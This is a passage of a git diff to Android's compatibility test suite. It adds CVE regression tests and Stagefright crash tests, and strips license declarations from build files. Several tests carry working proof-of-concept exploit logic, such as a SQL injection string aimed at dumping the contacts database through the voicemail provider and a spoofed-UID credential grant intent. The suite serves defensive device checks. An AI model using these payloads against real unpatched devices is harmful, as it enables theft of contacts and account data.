+ Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+ ActivityManager activityManager = (ActivityManager) instrumentation.getContext()
+ .getSystemService(Context.ACTIVITY_SERVICE);
+ Context targetContext = instrumentation.getTargetContext();
+ ComponentName componentName =
+ ComponentName.unflattenFromString("com.android.systemui/.ImageWallpaper");
+ PendingIntent pi = activityManager.getRunningServiceControlPanel(componentName);
+ assumeNotNull(pi);
+
+ Intent spuriousIntent = new Intent();
+ spuriousIntent.setPackage(targetContext.getPackageName());
+ spuriousIntent.setDataAndType(
+ Uri.parse("content://com.android.settings.files/my_cache/NOTICE.html"), "txt/html");
+ spuriousIntent.setFlags(
+ Intent.FLAG_GRANT_WRITE_URI_PERMISSION | Intent.FLAG_GRANT_READ_URI_PERMISSION);
+ try {
+ pi.send(targetContext, 0, spuriousIntent, null, null);
+ } catch (PendingIntent.CanceledException e) {
+ //This means PendingIntent has failed as its mutable
+ fail("PendingIntent from WallpaperManagerService is mutable");
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0309.java b/tests/tests/security/src/android/security/cts/CVE_2021_0309.java
new file mode 100644
index 0000000..3f39a0e
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0309.java
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts;
+
+import static org.junit.Assert.assertFalse;
+
+import android.accounts.Account;
+import android.accounts.AccountAuthenticatorResponse;
+import android.accounts.AccountManager;
+import android.accounts.GrantCredentialsPermissionActivity;
+import android.accounts.IAccountAuthenticatorResponse;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.RemoteException;
+import android.platform.test.annotations.SecurityTest;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_0309 {
+ private final Context mContext = InstrumentationRegistry.getContext();
+ boolean isVulnerable = true;
+
+ /**
+ * b/159145361
+ */
+ @SecurityTest(minPatchLevel = "2021-01")
+ @Test
+ public void testPocCVE_2021_0309() {
+ /**
+ * Output of adb shell pm list packages --user 0 -U com.android.providers.media
+ * package:com.android.providers.media uid:10008
+ */
+ final int REQUESTED_UID = 10008;
+ Intent intent = new Intent();
+ intent.setClassName("android",
+ "android.accounts.GrantCredentialsPermissionActivity");
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.putExtra(GrantCredentialsPermissionActivity.EXTRAS_ACCOUNT,
+ new Account("abc@xyz.org", "com.my.auth"));
+ intent.putExtra(GrantCredentialsPermissionActivity.EXTRAS_AUTH_TOKEN_TYPE,
+ AccountManager.ACCOUNT_ACCESS_TOKEN_TYPE);
+ intent.putExtra(GrantCredentialsPermissionActivity.EXTRAS_RESPONSE,
+ new AccountAuthenticatorResponse(new IAccountAuthenticatorResponse.Stub() {
+ @Override
+ public void onResult(Bundle value) throws RemoteException {
+ }
+
+ @Override
+ public void onRequestContinued() {
+ }
+
+ @Override
+ public void onError(int errorCode, String errorMessage) throws RemoteException {
+ /**
+ * GrantCredentialsPermissionActivity's onCreate() should not execute and
+ * should return error when the requested UID does not match the process's UID
+ */
+ isVulnerable = false;
+ }
+ }));
+
+ intent.putExtra(GrantCredentialsPermissionActivity.EXTRAS_REQUESTING_UID,
+ REQUESTED_UID);
+ mContext.startActivity(intent);
+ /**
+ * Sleep for 5 seconds to ensure that the AccountAuthenticatorResponse callback gets
+ * triggered if vulnerability is fixed.
+ */
+ try {
+ Thread.sleep(5000);
+ } catch (Exception e) {
+ }
+ assertFalse(isVulnerable);
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0339.java b/tests/tests/security/src/android/security/cts/CVE_2021_0339.java
new file mode 100644
index 0000000..5ace5df
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0339.java
@@ -0,0 +1,114 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertThat;
+import static org.hamcrest.Matchers.lessThan;
+
+import android.test.AndroidTestCase;
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.platform.test.annotations.SecurityTest;
+import android.os.SystemClock;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+import android.util.Log;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SecurityTest
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_0339 {
+
+ static final String TAG = CVE_2021_0339.class.getSimpleName();
+ private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
+ static final int MAX_TRANSITION_DURATION_MS = 3000; // internal max
+ static final int TIME_MEASUREMENT_DELAY_MS = 5000; // tolerance for lag.
+ public static boolean testCompleted;
+
+ public FirstActivity fActivity;
+ public SecondActivity sActivity;
+
+ private void launchActivity(Class<? extends Activity> clazz) {
+ final Context context = InstrumentationRegistry.getInstrumentation().getContext();
+ final Intent intent = new Intent(Intent.ACTION_MAIN);
+ intent.setClassName(SECURITY_CTS_PACKAGE_NAME, clazz.getName());
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ context.startActivity(intent);
+ }
+
+ /**
+ * b/175817167
+ */
+ @Test
+ @SecurityTest
+ public void testPocCVE_2021_0339() throws Exception {
+
+ Log.d(TAG, "test start");
+ testCompleted = false;
+ launchActivity(FirstActivity.class);
+
+ //wait for SecondActivity animation to complete
+ synchronized(CVE_2021_0339.class){
+ if(!testCompleted)
+ CVE_2021_0339.class.wait();
+ }
+ Log.d(TAG, "test completed");
+
+ //A duration of a transition from "FirstActivity" to "Second Activity"
+ //is set in this test to 10 seconds
+ // (res/anim/translate1.xml and res/anim/translate2.xml)
+ //The fix is supposed to limit the duration to 3000 ms.
+ // testing for > 8s
+ assertThat(SecondActivity.duration,
+ lessThan(MAX_TRANSITION_DURATION_MS + TIME_MEASUREMENT_DELAY_MS));
+ }
+
+ public static class FirstActivity extends Activity {
+
+ @Override
+ public void onEnterAnimationComplete() {
+ super.onEnterAnimationComplete();
+ Intent intent = new Intent(this, SecondActivity.class);
+ intent.putExtra("STARTED_TIMESTAMP", SystemClock.uptimeMillis());
+ startActivity(intent);
+ overridePendingTransition(R.anim.translate2,R.anim.translate1);
+ Log.d(TAG,this.getLocalClassName()+" onEnterAnimationComplete()");
+ }
+ }
+
+ public static class SecondActivity extends Activity{
+ public static int duration = 0;
+
+ @Override
+ public void onEnterAnimationComplete() {
+ super.onEnterAnimationComplete();
+ long completedTs = SystemClock.uptimeMillis();
+ long startedTs = getIntent().getLongExtra("STARTED_TIMESTAMP", 0);
+ duration = (int)(completedTs - startedTs);
+ Log.d(TAG, this.getLocalClassName()
+ + " onEnterAnimationComplete() duration=" + Long.toString(duration));
+
+ //Notify main thread that the test is completed
+ synchronized(CVE_2021_0339.class){
+ CVE_2021_0339.testCompleted = true;
+ CVE_2021_0339.class.notifyAll();
+ }
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0394.java b/tests/tests/security/src/android/security/cts/CVE_2021_0394.java
new file mode 100644
index 0000000..d3278ee
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0394.java
@@ -0,0 +1,42 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertFalse;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import androidx.test.runner.AndroidJUnit4;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_0394 {
+ static {
+ System.loadLibrary("ctssecurity_jni");
+ }
+
+ /**
+ * b/172655291
+ */
+ @SecurityTest(minPatchLevel = "2021-03")
+ @Test
+ public void testPocCVE_2021_0394() throws Exception {
+ assertFalse(poc());
+ }
+
+ public static native boolean poc();
+}
diff --git a/tests/tests/security/src/android/security/cts/SQLiteTest.java b/tests/tests/security/src/android/security/cts/SQLiteTest.java
new file mode 100644
index 0000000..47407ca
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/SQLiteTest.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.content.Context;
+import android.content.ContentResolver;
+import android.content.Intent;
+import android.content.pm.PackageManager.NameNotFoundException;
+import android.net.Uri;
+import android.platform.test.annotations.SecurityTest;
+import android.provider.VoicemailContract;
+import android.test.AndroidTestCase;
+import androidx.test.InstrumentationRegistry;
+import static org.junit.Assert.*;
+
+@SecurityTest
+public class SQLiteTest extends AndroidTestCase {
+
+ private ContentResolver mResolver;
+ private String mPackageName;
+ private Context mContext;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ mResolver = getContext().getContentResolver();
+ mContext = InstrumentationRegistry.getTargetContext();
+ mPackageName = mContext.getPackageName();
+ }
+
+ /**
+ * b/139186193
+ */
+ @SecurityTest(minPatchLevel = "2019-11")
+ public void test_android_cve_2019_2195() {
+ Uri uri = VoicemailContract.Voicemails.CONTENT_URI;
+ uri = uri.buildUpon().appendQueryParameter("source_package", mPackageName).build();
+
+ try {
+ mContext.grantUriPermission(mPackageName, uri,
+ Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION
+ | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION);
+ } catch (Exception e) {
+ if (e instanceof java.lang.SecurityException) {
+ // this suggests com.android.providers.contacts.VoicemailContentProvider
+ // does not allow granting of Uri permissions, hence return.
+ return;
+ }
+ }
+
+ try {
+ String fileToDump = mContext.createPackageContext("com.android.providers.contacts", 0)
+ .getDatabasePath("contacts2.db").getAbsolutePath();
+ try {
+ mResolver.query(uri, null, null, null,
+ "_id ASC LIMIT _TOKENIZE('calls(_data,_data,_data,source_package,type) VALUES(''"
+ + fileToDump + "'',?,?,''" + mPackageName + "'',4);',0,'','Z')")
+ .close();
+ fail("Vulnerable function exists");
+ } catch (android.database.sqlite.SQLiteException e) {
+ // do nothing
+ }
+ } catch (NameNotFoundException n) {
+ // do nothing
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index c978dad..949d4ce 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -41,6 +41,7 @@
import android.os.Looper;
import android.os.SystemClock;
import android.platform.test.annotations.AppModeFull;
+import android.os.Parcel;
import android.platform.test.annotations.SecurityTest;
import android.util.Log;
import android.view.Surface;
@@ -1258,6 +1259,127 @@
***********************************************************/
@Test
+ @SecurityTest(minPatchLevel = "2020-12")
+ public void testStagefright_cve_2020_11139() throws Exception {
+ doStagefrightTest(R.raw.cve_2020_11139);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-06")
+ public void testStagefright_cve_2020_3663() throws Exception {
+ doStagefrightTest(R.raw.cve_2020_3663);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-08")
+ public void testStagefright_cve_2020_11122() throws Exception {
+ doStagefrightTest(R.raw.cve_2020_11122);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-07")
+ public void testStagefright_cve_2020_3688() throws Exception {
+ doStagefrightTest(R.raw.cve_2020_3688);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-11")
+ public void testStagefright_cve_2020_11168() throws Exception {
+ doStagefrightTest(R.raw.cve_2020_11168);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-06")
+ public void testStagefright_cve_2020_3658() throws Exception {
+ doStagefrightTest(R.raw.cve_2020_3658);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-05")
+ public void testStagefright_cve_2020_3633() throws Exception {
+ doStagefrightTest(R.raw.cve_2020_3633);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-06")
+ public void testStagefright_cve_2020_3660() throws Exception {
+ doStagefrightTest(R.raw.cve_2020_3660);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-06")
+ public void testStagefright_cve_2020_3661() throws Exception {
+ doStagefrightTest(R.raw.cve_2020_3661);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-01")
+ public void testStagefright_cve_2019_14013() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_14013);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-06")
+ public void testStagefright_cve_2020_3662() throws Exception {
+ doStagefrightTest(R.raw.cve_2020_3662);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2021-01")
+ public void testStagefright_cve_2021_0312() throws Exception {
+ assumeFalse(ModuleDetector.moduleIsPlayManaged(
+ getInstrumentation().getContext().getPackageManager(),
+ MainlineModule.MEDIA));
+ doStagefrightTestExtractorSeek(R.raw.cve_2021_0312, 2, new CrashUtils.Config()
+ .setSignals(CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT));
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2018-09")
+ public void testStagefright_cve_2018_9474() throws Exception {
+ MediaPlayer mp = new MediaPlayer();
+ RenderTarget renderTarget = RenderTarget.create();
+ Surface surface = renderTarget.getSurface();
+ mp.setSurface(surface);
+ AssetFileDescriptor fd = getInstrumentation().getContext().getResources()
+ .openRawResourceFd(R.raw.cve_2018_9474);
+
+ mp.setDataSource(fd.getFileDescriptor(), fd.getStartOffset(), fd.getLength());
+ mp.prepare();
+
+ MediaPlayer.TrackInfo[] trackInfos = mp.getTrackInfo();
+ if (trackInfos == null || trackInfos.length == 0) {
+ return;
+ }
+
+ MediaPlayer.TrackInfo trackInfo = trackInfos[0];
+
+ int trackType = trackInfo.getTrackType();
+ MediaFormat format = trackInfo.getFormat();
+
+ Parcel data = Parcel.obtain();
+ trackInfo.writeToParcel(data, 0);
+
+ data.setDataPosition(0);
+ int trackTypeFromParcel = data.readInt();
+ String mimeTypeFromParcel = data.readString();
+ data.recycle();
+
+ if (trackType == trackTypeFromParcel) {
+ assertFalse("Device *IS* vulnerable to CVE-2018-9474",
+ mimeTypeFromParcel.equals("und"));
+ }
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2019-09")
+ public void testStagefright_cve_2019_2108() throws Exception {
+ doStagefrightTestRawBlob(R.raw.cve_2019_2108_hevc, "video/hevc", 320, 240,
+ new CrashUtils.Config().setSignals(CrashUtils.SIGSEGV, CrashUtils.SIGBUS,
+ CrashUtils.SIGABRT));
+ }
+
+ @Test
@SecurityTest(minPatchLevel = "2016-09")
public void testStagefright_cve_2016_3880() throws Exception {
Thread server = new Thread() {
@@ -1334,6 +1456,15 @@
}
@Test
+ @SecurityTest(minPatchLevel = "2021-01")
+ public void testStagefright_bug170240631() throws Exception {
+ assumeFalse(ModuleDetector.moduleIsPlayManaged(
+ getInstrumentation().getContext().getPackageManager(),
+ MainlineModule.MEDIA));
+ doStagefrightTest(R.raw.bug170240631_ts);
+ }
+
+ @Test
@SecurityTest(minPatchLevel = "2020-05")
public void testStagefright_cve_2020_3641() throws Exception {
doStagefrightTest(R.raw.cve_2020_3641);
@@ -1674,6 +1805,11 @@
@Test
@SecurityTest(minPatchLevel = "2019-12")
public void testStagefright_cve_2019_2222() throws Exception {
+ // TODO(b/170987914): This also skips testing hw_codecs.
+ // Update doStagefrightTestRawBlob to skip just the sw_codec test.
+ assumeFalse(ModuleDetector.moduleIsPlayManaged(
+ getInstrumentation().getContext().getPackageManager(),
+ MainlineModule.MEDIA_SOFTWARE_CODEC));
int[] frameSizes = getFrameSizes(R.raw.cve_2019_2222_framelen);
doStagefrightTestRawBlob(R.raw.cve_2019_2222_hevc, "video/hevc", 320, 240, frameSizes);
}
@@ -1688,6 +1824,18 @@
***********************************************************/
@Test
+ @SecurityTest(minPatchLevel = "2019-12")
+ public void testStagefright_cve_2019_2223() throws Exception {
+ // TODO(b/170987914): This also skips testing hw_codecs.
+ // Update doStagefrightTestRawBlob to skip just the sw_codec test.
+ assumeFalse(ModuleDetector.moduleIsPlayManaged(
+ getInstrumentation().getContext().getPackageManager(),
+ MainlineModule.MEDIA_SOFTWARE_CODEC));
+ int[] frameSizes = getFrameSizes(R.raw.cve_2019_2223_framelen);
+ doStagefrightTestRawBlob(R.raw.cve_2019_2223_hevc, "video/hevc", 320, 240, frameSizes);
+ }
+
+ @Test
@SecurityTest(minPatchLevel = "2019-03")
public void testStagefright_cve_2019_1989() throws Exception {
Object obj[] = getFrameInfo(R.raw.cve_2019_1989_info);
@@ -2274,7 +2422,11 @@
renderTarget.destroy();
}
}
- ex.unselectTrack(t);
+ try {
+ ex.unselectTrack(t);
+ } catch (IllegalArgumentException e) {
+ // since we're just cleaning up, we don't care if it fails
+ }
}
ex.release();
String cve = rname.replace("_", "-").toUpperCase();
diff --git a/tests/tests/security/testeffect/Android.bp b/tests/tests/security/testeffect/Android.bp
index 381a57b..23bd6fd 100644
--- a/tests/tests/security/testeffect/Android.bp
+++ b/tests/tests/security/testeffect/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
// Test effect library
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test_library {
name: "libctstesteffect",
srcs: ["CTSTestEffect.cpp"],
diff --git a/tests/tests/selinux/common/jni/Android.bp b/tests/tests/selinux/common/jni/Android.bp
index 3952bc2..275b0ce 100644
--- a/tests/tests/selinux/common/jni/Android.bp
+++ b/tests/tests/selinux/common/jni/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test_library {
name: "libctsselinux_jni",
srcs: [
diff --git a/tests/tests/selinux/selinuxEphemeral/Android.bp b/tests/tests/selinux/selinuxEphemeral/Android.bp
index cfa537d..b1299d2 100644
--- a/tests/tests/selinux/selinuxEphemeral/Android.bp
+++ b/tests/tests/selinux/selinuxEphemeral/Android.bp
@@ -13,10 +13,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsSelinuxEphemeralTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/selinux/selinuxTargetSdk25/Android.bp b/tests/tests/selinux/selinuxTargetSdk25/Android.bp
index 5d3af6f..3021200 100644
--- a/tests/tests/selinux/selinuxTargetSdk25/Android.bp
+++ b/tests/tests/selinux/selinuxTargetSdk25/Android.bp
@@ -13,10 +13,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsSelinuxTargetSdk25TestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/selinux/selinuxTargetSdk27/Android.bp b/tests/tests/selinux/selinuxTargetSdk27/Android.bp
index 85144264..269b574 100644
--- a/tests/tests/selinux/selinuxTargetSdk27/Android.bp
+++ b/tests/tests/selinux/selinuxTargetSdk27/Android.bp
@@ -13,10 +13,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsSelinuxTargetSdk27TestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/selinux/selinuxTargetSdk28/Android.bp b/tests/tests/selinux/selinuxTargetSdk28/Android.bp
index aab89af..f2dddbc 100644
--- a/tests/tests/selinux/selinuxTargetSdk28/Android.bp
+++ b/tests/tests/selinux/selinuxTargetSdk28/Android.bp
@@ -13,10 +13,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsSelinuxTargetSdk28TestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/selinux/selinuxTargetSdk29/Android.bp b/tests/tests/selinux/selinuxTargetSdk29/Android.bp
index 6a5e847..5307277 100644
--- a/tests/tests/selinux/selinuxTargetSdk29/Android.bp
+++ b/tests/tests/selinux/selinuxTargetSdk29/Android.bp
@@ -13,10 +13,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsSelinuxTargetSdk29TestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/selinux/selinuxTargetSdkCurrent/Android.bp b/tests/tests/selinux/selinuxTargetSdkCurrent/Android.bp
index b51a5e6..e192e84 100644
--- a/tests/tests/selinux/selinuxTargetSdkCurrent/Android.bp
+++ b/tests/tests/selinux/selinuxTargetSdkCurrent/Android.bp
@@ -13,10 +13,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsSelinuxTargetSdkCurrentTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/settings/Android.bp b/tests/tests/settings/Android.bp
index 246e3fd..b55ecaa 100644
--- a/tests/tests/settings/Android.bp
+++ b/tests/tests/settings/Android.bp
@@ -1,8 +1,4 @@
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsSettingsTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/sharesheet/Android.bp b/tests/tests/sharesheet/Android.bp
index 8b4b62a..5832998 100644
--- a/tests/tests/sharesheet/Android.bp
+++ b/tests/tests/sharesheet/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsSharesheetTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/sharesheet/packages/Android.bp b/tests/tests/sharesheet/packages/Android.bp
index 3d2363b..bb2f804 100644
--- a/tests/tests/sharesheet/packages/Android.bp
+++ b/tests/tests/sharesheet/packages/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsSharesheetActivityLabelTester",
defaults: ["cts_defaults"],
@@ -62,4 +58,4 @@
"android.sharesheet.cts.packages.excludetester",
],
manifest: "AndroidManifest-ExcludeTester.xml",
-}
+}
\ No newline at end of file
diff --git a/tests/tests/shortcutmanager/Android.bp b/tests/tests/shortcutmanager/Android.bp
index 776ce70..2c7667c 100644
--- a/tests/tests/shortcutmanager/Android.bp
+++ b/tests/tests/shortcutmanager/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsShortcutManagerTestCases",
defaults: [
diff --git a/tests/tests/simphonebookprovider/Android.bp b/tests/tests/simphonebookprovider/Android.bp
index 89cda6b..95580a8 100644
--- a/tests/tests/simphonebookprovider/Android.bp
+++ b/tests/tests/simphonebookprovider/Android.bp
@@ -1,7 +1,3 @@
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
filegroup {
name: "cts-simphonebook-rules-sources",
srcs: [
diff --git a/tests/tests/simphonebookprovider/nosim/Android.bp b/tests/tests/simphonebookprovider/nosim/Android.bp
index 9e8f896..0d80fc9 100644
--- a/tests/tests/simphonebookprovider/nosim/Android.bp
+++ b/tests/tests/simphonebookprovider/nosim/Android.bp
@@ -1,7 +1,3 @@
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsSimPhonebookProviderNoSimTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/simpleperf/Android.mk b/tests/tests/simpleperf/Android.mk
index 351ff22..7cae376 100644
--- a/tests/tests/simpleperf/Android.mk
+++ b/tests/tests/simpleperf/Android.mk
@@ -7,8 +7,6 @@
include $(CLEAR_VARS)
LOCAL_MODULE := CtsSimpleperfTestCases
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA)/nativetest
LOCAL_MULTILIB := both
LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
diff --git a/tests/tests/simpleperf/CtsSimpleperfDebuggableApp/Android.bp b/tests/tests/simpleperf/CtsSimpleperfDebuggableApp/Android.bp
index 90a78b3..c53723b 100644
--- a/tests/tests/simpleperf/CtsSimpleperfDebuggableApp/Android.bp
+++ b/tests/tests/simpleperf/CtsSimpleperfDebuggableApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsSimpleperfDebuggableApp",
defaults: ["cts_defaults"],
diff --git a/tests/tests/simpleperf/CtsSimpleperfProfileableApp/Android.bp b/tests/tests/simpleperf/CtsSimpleperfProfileableApp/Android.bp
index cc34183..babe753 100644
--- a/tests/tests/simpleperf/CtsSimpleperfProfileableApp/Android.bp
+++ b/tests/tests/simpleperf/CtsSimpleperfProfileableApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsSimpleperfProfileableApp",
defaults: ["cts_defaults"],
diff --git a/tests/tests/slice/Android.bp b/tests/tests/slice/Android.bp
index 891a682..718b1d0 100644
--- a/tests/tests/slice/Android.bp
+++ b/tests/tests/slice/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsSliceTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/slice/src/android/slice/cts/SliceProviderTest.kt b/tests/tests/slice/src/android/slice/cts/SliceProviderTest.kt
index ca76d2b..e2fd053 100644
--- a/tests/tests/slice/src/android/slice/cts/SliceProviderTest.kt
+++ b/tests/tests/slice/src/android/slice/cts/SliceProviderTest.kt
@@ -21,6 +21,7 @@
import android.net.Uri
import android.os.Bundle
+import android.platform.test.annotations.SecurityTest
import androidx.test.rule.ActivityTestRule
import androidx.test.runner.AndroidJUnit4
import org.junit.Before
@@ -61,6 +62,7 @@
}
@Test
+ @SecurityTest(minPatchLevel = "2019-11-01")
fun testCallSliceUri_ValidAuthority() {
assumeFalse(isSlicesDisabled)
@@ -68,6 +70,7 @@
}
@Test(expected = SecurityException::class)
+ @SecurityTest(minPatchLevel = "2019-11-01")
fun testCallSliceUri_ShadyAuthority() {
assumeFalse(isSlicesDisabled)
diff --git a/tests/tests/soundtrigger/Android.bp b/tests/tests/soundtrigger/Android.bp
index 382b8c2..6910adb 100644
--- a/tests/tests/soundtrigger/Android.bp
+++ b/tests/tests/soundtrigger/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsSoundTriggerTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/speech/Android.bp b/tests/tests/speech/Android.bp
index 295b4f2..ee5eb38 100644
--- a/tests/tests/speech/Android.bp
+++ b/tests/tests/speech/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsSpeechTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/syncmanager/Android.bp b/tests/tests/syncmanager/Android.bp
index 5abee47..61eb483 100644
--- a/tests/tests/syncmanager/Android.bp
+++ b/tests/tests/syncmanager/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
